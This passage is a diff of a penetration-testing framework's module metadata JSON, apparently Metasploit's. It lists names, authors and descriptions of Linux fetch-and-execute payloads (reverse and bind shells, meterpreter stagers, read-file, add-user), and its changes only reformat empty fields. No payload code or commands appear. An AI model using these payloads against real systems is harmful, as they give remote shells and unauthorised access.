"payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp": { "name": "HTTP Fetch, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202449,9 +179744,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202465,8 +179758,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202479,9 +179771,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202494,9 +179784,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202510,8 +179798,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202524,9 +179811,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_nonx_tcp": { "name": "HTTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202537,9 +179822,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202553,8 +179836,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202567,9 +179849,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202581,9 +179861,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202597,8 +179875,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202611,9 +179888,7 @@ "payload_cmd/linux/http/x86/meterpreter/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202626,9 +179901,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202642,8 +179915,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202656,9 +179928,7 @@ "payload_cmd/linux/http/x86/meterpreter/find_tag": { "name": "HTTP Fetch, Find Tag Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202669,9 +179939,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202685,8 +179953,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202699,9 +179966,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp": { "name": "HTTP Fetch, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202712,9 +179977,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202728,8 +179991,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202742,9 +180004,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_nonx_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202755,9 +180015,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202771,8 +180029,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202785,9 +180042,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202800,9 +180055,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202816,8 +180069,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202830,9 +180082,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202845,9 +180095,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202861,8 +180109,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202875,9 +180122,7 @@ "payload_cmd/linux/http/x86/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202889,9 +180134,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202905,8 +180148,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202917,9 +180159,7 @@ "payload_cmd/linux/http/x86/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202931,9 +180171,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202947,8 +180185,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202959,9 +180196,7 @@ "payload_cmd/linux/http/x86/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202973,9 +180208,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202989,8 +180222,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203001,9 +180233,7 @@ "payload_cmd/linux/http/x86/metsvc_bind_tcp": { "name": "HTTP Fetch, Linux Meterpreter Service, Bind TCP", "fullname": "payload/cmd/linux/http/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203013,9 +180243,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203029,8 +180257,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203041,9 +180268,7 @@ "payload_cmd/linux/http/x86/metsvc_reverse_tcp": { "name": "HTTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203053,9 +180278,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203069,8 +180292,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203081,9 +180303,7 @@ "payload_cmd/linux/http/x86/read_file": { "name": "HTTP Fetch, Linux Read File", "fullname": "payload/cmd/linux/http/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203093,9 +180313,7 @@ "hal" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203109,8 +180327,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203121,9 +180338,7 @@ "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203135,9 +180350,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203151,8 +180364,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203165,9 +180377,7 @@ "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203180,9 +180390,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203196,8 +180404,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203210,9 +180417,7 @@ "payload_cmd/linux/http/x86/shell/bind_nonx_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203222,9 +180427,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203238,8 +180441,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203252,9 +180454,7 @@ "payload_cmd/linux/http/x86/shell/bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203265,9 +180465,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203281,8 +180479,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203295,9 +180492,7 @@ "payload_cmd/linux/http/x86/shell/bind_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203309,9 +180504,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203325,8 +180518,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203339,9 +180531,7 @@ "payload_cmd/linux/http/x86/shell/find_tag": { "name": "HTTP Fetch, Linux Command Shell, Find Tag Stager", "fullname": "payload/cmd/linux/http/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203351,9 +180541,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203367,8 +180555,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203381,9 +180568,7 @@ "payload_cmd/linux/http/x86/shell/reverse_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/http/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203394,9 +180579,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203410,8 +180593,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203424,9 +180606,7 @@ "payload_cmd/linux/http/x86/shell/reverse_nonx_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203436,9 +180616,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203452,8 +180630,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203466,9 +180643,7 @@ "payload_cmd/linux/http/x86/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203480,9 +180655,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203496,8 +180669,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203510,9 +180682,7 @@ "payload_cmd/linux/http/x86/shell/reverse_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203524,9 +180694,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203540,8 +180708,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203554,9 +180721,7 @@ "payload_cmd/linux/http/x86/shell_bind_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203566,9 +180731,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203582,8 +180745,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203594,9 +180756,7 @@ "payload_cmd/linux/http/x86/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203606,9 +180766,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203622,8 +180780,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203634,9 +180791,7 @@ "payload_cmd/linux/http/x86/shell_bind_tcp_random_port": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203664,8 +180819,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203676,9 +180830,7 @@ "payload_cmd/linux/http/x86/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/http/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203688,9 +180840,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203704,8 +180854,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203716,9 +180865,7 @@ "payload_cmd/linux/http/x86/shell_find_tag": { "name": "HTTP Fetch, Linux Command Shell, Find Tag Inline", "fullname": "payload/cmd/linux/http/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203728,9 +180875,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203744,8 +180889,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203756,9 +180900,7 @@ "payload_cmd/linux/http/x86/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203769,9 +180911,7 @@ "joev " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203785,8 +180925,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203797,9 +180936,7 @@ "payload_cmd/linux/http/x86/shell_reverse_tcp_ipv6": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203809,9 +180946,7 @@ "Matteo Malvica " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203825,8 +180960,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203837,9 +180971,7 @@ "payload_cmd/linux/https/aarch64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203849,9 +180981,7 @@ "Adam Cammack " ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203865,8 +180995,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203879,9 +181008,7 @@ "payload_cmd/linux/https/aarch64/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203893,9 +181020,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203909,8 +181034,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203921,9 +181045,7 @@ "payload_cmd/linux/https/aarch64/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203935,9 +181057,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203951,8 +181071,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203963,9 +181082,7 @@ "payload_cmd/linux/https/aarch64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203977,9 +181094,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203993,8 +181108,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204005,9 +181119,7 @@ "payload_cmd/linux/https/aarch64/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204016,9 +181128,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.\ndup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204032,8 +181142,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204046,9 +181155,7 @@ "payload_cmd/linux/https/aarch64/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204057,9 +181164,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204073,8 +181178,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204085,9 +181189,7 @@ "payload_cmd/linux/https/armbe/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204099,9 +181201,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204115,8 +181215,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204127,9 +181226,7 @@ "payload_cmd/linux/https/armbe/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204141,9 +181238,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204157,8 +181252,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204169,9 +181263,7 @@ "payload_cmd/linux/https/armbe/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204183,9 +181275,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204199,8 +181289,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204211,9 +181300,7 @@ "payload_cmd/linux/https/armbe/shell_bind_tcp": { "name": "HTTPS Fetch, Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204239,8 +181326,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204251,9 +181337,7 @@ "payload_cmd/linux/https/armle/adduser": { "name": "HTTPS Fetch, Linux Add User", "fullname": "payload/cmd/linux/https/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204263,9 +181347,7 @@ 